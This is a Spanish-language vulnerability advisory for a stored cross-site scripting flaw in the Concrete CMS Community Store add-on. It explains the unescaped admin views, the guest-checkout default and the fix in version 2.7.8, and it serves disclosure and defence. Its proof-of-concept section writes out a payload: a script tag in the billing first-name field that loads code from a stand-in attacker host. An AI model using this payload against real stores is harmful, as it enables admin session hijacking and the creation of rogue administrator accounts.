XSS almacenado en Concrete CMS Community Store conduce a la toma de control del panel de administración
| CVE | CVE-2026-93659 |
| Componente | concretecms-community-store/community_store |
| Tipo | Cross-Site Scripting Almacenado (CWE-79) |
| Severidad | CVSS v4.0 9.3 Crítica / v3.1 8.7 Alta |
| Afecta a | Todas las versiones anteriores a la 2.7.8 |
| Corregido en | 2.7.8 |
| Crédito | Prince Edem Fiagbedzi (descubridor) |
Community Store, un complemento de comercio electrónico de código abierto para Concrete CMS, almacenaba los campos de pedido proporcionados por el cliente sin sanitizarlos y los renderizaba sin escape HTML en cuatro vistas orientadas al administrador. Cualquier visitante no autenticado podía realizar un pedido con una carga útil de script en un campo como el nombre de facturación, y la carga útil se ejecutaba dentro de la sesión autenticada del panel de control de un gestor de la tienda la próxima vez que abría ese pedido, lo suficiente para crear una cuenta de administrador fraudulenta o exfiltrar datos de sesión.
Cada pedido lleva campos proporcionados por el cliente: nombre, apellido, correo electrónico y teléfono de facturación/envío. Esos campos se almacenan tal cual y se renderizan de vuelta en cuatro lugares que un gestor de la tienda revisa habitualmente:
single_pages/dashboard/store/orders.php)elements/order_slip.php)single_pages/dashboard/store/reports/*.php)single_pages/checkout/complete.php)Fundamentalmente, realizar un pedido no requiere cuenta. La configuración de pago como invitado de Community Store tiene por defecto always, establecida así por el propio instalador del paquete en cada instalación nueva, no algo que el operador de la tienda tenga que habilitar. Así que esto no es un error que necesite una tienda mal configurada; es explotable contra una instalación predeterminada, lista para usar, sin necesidad de credenciales.
Actualice Community Store a la 2.7.8 o posterior. La corrección añade el escape de salida adecuado a las cuatro ubicaciones de renderizado afectadas. No hay solución alternativa de configuración aparte de actualizar, ya que el comportamiento vulnerable es el propio escape, no una opción.
Ninguna de las cuatro ubicaciones de renderizado escapaba los campos controlados por el cliente. Una línea representativa de la vista de pedidos del administrador:
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>
Ninguna llamada a h(), el helper estándar de escape de salida de Concrete, cerca de ella, aunque el mismo archivo usaba h() correctamente unas líneas más allá para otros valores. La validación de entrada no era mejor: la única comprobación aplicada a estos campos era un límite de longitud (1-255 caracteres), nada que eliminara o rechazara HTML.
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization
Una carga útil <script> de menos de 255 caracteres en el campo del nombre de facturación pasa la validación sin modificaciones, se almacena y luego se renderiza sin escapar dondequiera que un administrador mire el pedido.
El valor predeterminado del pago como invitado se establece directamente en el instalador:
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
...
'guestCheckout' => 'always'
]);
El controlador de pago solo fuerza un inicio de sesión cuando esa configuración es off (o option sin un indicador de invitado), y con el valor predeterminado instalado, esa rama nunca se activa.
Probado contra Community Store v2.7.7 en Concrete CMS 9.5.2 (laboratorio Docker autoalojado, PHP 8.3). Carga útil enviada como un pago como invitado ordinario, sin autenticación de ningún tipo:
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
2a802d6,
añadiendo el escape h() a las cuatro ubicaciones de renderizado afectadas